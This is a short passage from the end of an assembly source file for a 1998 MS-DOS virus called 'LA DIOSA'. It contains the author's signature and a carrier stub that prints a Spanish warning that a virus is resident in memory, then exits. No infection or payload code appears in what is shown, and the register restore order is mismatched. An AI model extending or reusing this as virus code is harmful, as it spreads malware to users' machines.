db ' ....Virus LA DIOSA por nIgrOmAntE 1998. (VALENCIA)$'
garbage dw 00h
fin:
hoste: push ax
push dx
push ds
mov ah,9h
mov dx,offset msg
push cs
pop ds
int 21h
pop ax
pop dx
pop ds
mov ax,4c00h
int 21h
msg db 'El VOID est en memoria , Cuidado con lo que ejecutes!!!!$'
code ends
end carrier